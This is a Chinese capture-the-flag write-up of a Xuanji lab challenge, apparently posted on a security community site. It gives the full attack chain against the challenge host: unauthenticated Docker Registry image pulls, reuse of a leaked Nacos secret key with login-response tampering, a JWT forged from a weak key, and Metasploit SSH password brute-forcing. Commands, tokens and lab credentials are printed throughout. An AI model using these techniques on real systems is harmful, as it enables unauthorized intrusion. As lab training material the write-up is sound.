玄机 第九章-blueteam 的小心思2 WP
childhood 渗透测试 1504浏览 · 2024-05-30 09:24

前言

最近想写写应急响应的题目,就找到玄机平台,注册帐号后,在「困难」分类里选了一道题,就是这道「第九章-blueteam 的小心思2」,结果没想到是个渗透题(说是先渗透再应急,但应急部分没检测)。这个题没WP,所以整理一下。其他题目的WP可以看先知社区的这篇文章:https://xz.aliyun.com/t/14254 ,好像挺全的。


题目:

  1. nacos 的 key 为多少 flag{base64decodekey}
  2. nacos配置文件的 flag
  3. File Management System的 flag
  4. root 密码多少 flag{password}
  5. 黑客留下的 backdoor 后门的绝对路径
  6. 修复 4000-6000 端口漏洞
  7. 修复File Management System漏洞
  8. 清理黑客留下的backdoor

PS:文章截图里IP前后并不一致,因为不是一次性写完的,有些图也是后面重新开了环境才补的,但都是靶机IP,不要太care。

解题步骤

1. Fscan 扫描

./fscan_mac -h 52.83.46.219 -p 1-65535

2. 攻击私有仓库

通过扫描发现私有仓库的端口为5000。

目录扫描可以扫到一下两个路径,说明存在Docker Registry 未授权

http://52.83.46.219:5000/v2/
http://52.83.46.219:5000/v2/_catalog

2.1 列出存储库

http://52.83.46.219:5000/v2/_catalog

2.2 查看具体的仓库信息

http://52.83.46.219:5000/v2/nacos/manifests/latest

2.3 拉取私有仓库中的 Nacos 镜像

docker pull <仓库地址>/<镜像名称>:<标签>

docker pull 43.192.47.138:5000/nacos

2.4 解决http: server gave HTTP response to HTTPS client

由于docker镜像拉取与推送服务使用的是https协议,但是仓库服务器上面没有配置https证书,可以修改客户端的配置,使用http协议进行通信。编辑/etc/docker/daemon.json文件。

vim /etc/docker/daemon.json

添加以下内容:

{
  "insecure-registries": ["43.192.47.138:5000"]
}

然后重启docker服务。

systemctl restart docker

2.5 再次拉取私有仓库中的 Nacos 镜像

docker pull 43.192.47.138:5000/nacos

2.6 运行Nacos容器

运行容器,进入容器。

docker run -itd 4249d3c080bc
docker exec -it fa18ae900e9 bash

找到 Nacos 配置文件,conf 目录下的application.properties文件。

得到Nacos的key为:

eGpuYWNvczIwMjNwZW5ndWluZWRpc2VjZmxhZ2ZsYWdmbGFn

按照题目要求,进行base64解码后得到第一个flag。

flag{xjnacos2023penguinedisecflagflagflag}

3. 本地搭建 Nacos

本地使用centos系统搭建Nacos2.2.3,使用从docker镜像中获取到的配置。

3.1 下载 Nacos2.2.3 安装包

https://github.com/alibaba/nacos/releases/download/2.2.3/nacos-server-2.2.3.tar.gz

3.2 解压并移动

tar -zxvf nacos-server-2.2.3.tar.gz 
mv nacos /usr/local

3.3 在 centos7 中安装 JDK8

(1) 安装和镜像环境中一样的java版本。

yum install java-1.8.0-openjdk* -y

安装目录为:/usr/lib/jvm/java-1.8.0-openjdk

(2) 验证是否安装成功

java -version

输出以下内容则表示安装配置完成:

openjdk version "1.8.0_222"
OpenJDK Runtime Environment (build 1.8.0_222-b10)
OpenJDK 64-Bit Server VM (build 25.222-b10, mixed mode)

(3) 修改环境变量

vim /etc/profile

在最下面添加以下配置:

export JAVA_HOME=/usr/lib/jvm/java-1.8.0-openjdk
export JRE_HOME=${JAVA_HOME}/jre
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH={JAVA_HOME}/bin:$PATH

(4) 刷新配置,让profile文件立即生效

source /etc/profile

3.4 编辑 application.properties

cd /usr/local/nacos/conf
vim application.properties

把application.properties文件的内容替换为从docker镜像中得到的application.properties文件内容。但是其中的一些环境变量(如数据库相关的环境变量)需要替换一下。

# spring
server.servlet.contextPath=${SERVER_SERVLET_CONTEXTPATH:/nacos}
server.contextPath=/nacos
server.port=8848
server.tomcat.accesslog.max-days=30
server.tomcat.accesslog.pattern=%h %l %u %t "%r" %s %b %D %{User-Agent}i %{Request-Source}i
server.tomcat.accesslog.enabled=${TOMCAT_ACCESSLOG_ENABLED:false}
server.error.include-message=ALWAYS
# default current work dir
server.tomcat.basedir=file:.
#*************** Config Module Related Configurations ***************#
### Deprecated configuration property, it is recommended to use `spring.sql.init.platform` replaced.
#spring.datasource.platform=${SPRING_DATASOURCE_PLATFORM:}
spring.sql.init.platform=${SPRING_DATASOURCE_PLATFORM:}
nacos.cmdb.dumpTaskInterval=3600
nacos.cmdb.eventTaskInterval=10
nacos.cmdb.labelTaskInterval=300
nacos.cmdb.loadDataAtStart=false
db.num=${MYSQL_DATABASE_NUM:1}
db.url.0=jdbc:mysql://127.0.0.1:3306/nacos_config?${MYSQL_SERVICE_DB_PARAM:characterEncoding=utf8&connectTimeout=1000&socketTimeout=3000&autoReconnect=true&useSSL=false}
db.user.0=root
db.password.0=123456
### The auth system to use, currently only 'nacos' and 'ldap' is supported:
nacos.core.auth.enabled=true
nacos.core.auth.system.type=nacos
### worked when nacos.core.auth.system.type=nacos
### The token expiration in seconds:
nacos.core.auth.plugin.nacos.token.expire.seconds=${NACOS_AUTH_TOKEN_EXPIRE_SECONDS:18000}
### The default token:
nacos.core.auth.plugin.nacos.token.secret.key=eGpuYWNvczIwMjNwZW5ndWluZWRpc2VjZmxhZ2ZsYWdmbGFn
### Turn on/off caching of auth information. By turning on this switch, the update of auth information would have a 15 seconds delay.
nacos.core.auth.caching.enabled=${NACOS_AUTH_CACHE_ENABLE:false}
nacos.core.auth.enable.userAgentAuthWhite=false
nacos.core.auth.server.identity.key=nacosKey
nacos.core.auth.server.identity.value=nacosValue
## spring security config
### turn off security
nacos.security.ignore.urls=${NACOS_SECURITY_IGNORE_URLS:/,/error,/**/*.css,/**/*.js,/**/*.html,/**/*.map,/**/*.svg,/**/*.png,/**/*.ico,/console-fe/public/**,/v1/auth/**,/v1/console/health/**,/actuator/**,/v1/console/server/**}
# metrics for elastic search
management.metrics.export.elastic.enabled=false
management.metrics.export.influx.enabled=false
nacos.naming.distro.taskDispatchThreadCount=10
nacos.naming.distro.taskDispatchPeriod=200
nacos.naming.distro.batchSyncKeyCount=1000
nacos.naming.distro.initDataRatio=0.9
nacos.naming.distro.syncRetryDelay=5000
nacos.naming.data.warmup=true

3.5 启动 Nacos

cd /usr/local/nacos/bin
sh startup.sh -m standalone

启动成功。

在登陆处抓包,得到accessToken。

{
"accessToken":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcxNjk2NDY0Mn0.WKu4KhZu1DX4qmNgtEZl7J_dRXbVvDQWmOpMYNdHb6Y",
"tokenTtl":18000,
"globalAdmin":true,
"username":"nacos"
}

4. Nacos 渗透

4.1 登陆 Nacos

使用本地搭建Nacos登陆获得到的accessToken去登陆题目中的Nacos。

在登陆处抓包,修改响应数据包。

得到:

将响应数据包修改为:

HTTP/1.1 200 
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Content-Security-Policy: script-src 'self'
Content-Type: application/json
Content-Length: 14
Date: Sat, 25 May 2024 02:50:47 GMT
Connection: close

{
"accessToken":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcxNjk2NDY0Mn0.WKu4KhZu1DX4qmNgtEZl7J_dRXbVvDQWmOpMYNdHb6Y",
"toenTtl":18000,
"globalAdmin":true
}

点击Forward。

登陆成功。

4.2 配置管理信息收集

在ADMIN_CONFIG中得到第二个flag以及FMS系统的帐号密码。

# file-managerpassword
file-manager:
  name: admin
  password: xj2023@1578921@123
  jwtkey: 123456
#flag{9d7ffcef-bcd1-4f4b-9a2d-d51862484168}

5. FMS 渗透

5.1 登陆 FMS

使用从Nacos配置中得到的帐号密码登陆FMS。

file-manager:
  name: admin
  password: xj2023@1578921@123
  jwtkey: 123456

登陆成功,但是提示权限不够。

5.2 jwt 构造

抓包。

利用从 Nacos 配置中得到的 jwtkey: 123456 进行 jwt 构造(网站 https://jwt.io/ )。

将Token改为构造后的值再发送。

eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJob3N0IiwibmFtZSI6InN5c2FkbWluMTIzNDU2IiwiZXhwIjoxNzE2OTU1MDYwLCJpYXQiOjE3MTY5NDc4NjB9.n1A38ZxyRfHye1sMJAVQEkH9T-J7KTa8PxPTUBUtLQg

成功看到FMS中的文件。

5.3 下载运维帐号

利用同样的方法,抓包修改Token,将几个文件下载下来。

在「运维帐号.xlsx」文件中得到很多密码。

5.4 上传文件

在文件上传处抓包,修改token,成功上传文件,得到第三个flag。

flag{d6c578d4a41a141d731fe7c36c8c0f77}

6. 获取服务器权限

6.1 ssh 口令爆破

使用MSF中的模块进行ssh口令爆破,密码字典为从「运维帐号.xlsx」文件中得到的密码。

use auxiliary/scanner/ssh/ssh_login
set RHOSTS 161.189.163.153
set USERNAME root
set PASS_FILE pwd.txt
set RPORT 2222
run

爆破成功,得到密码为imArGcj9

则第四个flag为:

flag{imArGcj9}

6.2 ssh 连接

ssh root@161.189.163.153 -p 2222

7. 找到黑客留下的 backdoor

黑客留下的 backdoor 后门的绝对路径,这里我是直接按照时间排查的,发现evilfms.service。

find / -type f -newermt 2023-12-01 ! -newermt 2024-01-01

得到第五个flag。

flag{evilfms.service}

这道题这5个flag拿到就已经完成了,后面应急部分自己修吧

0 条评论
某人
表情
可输入 255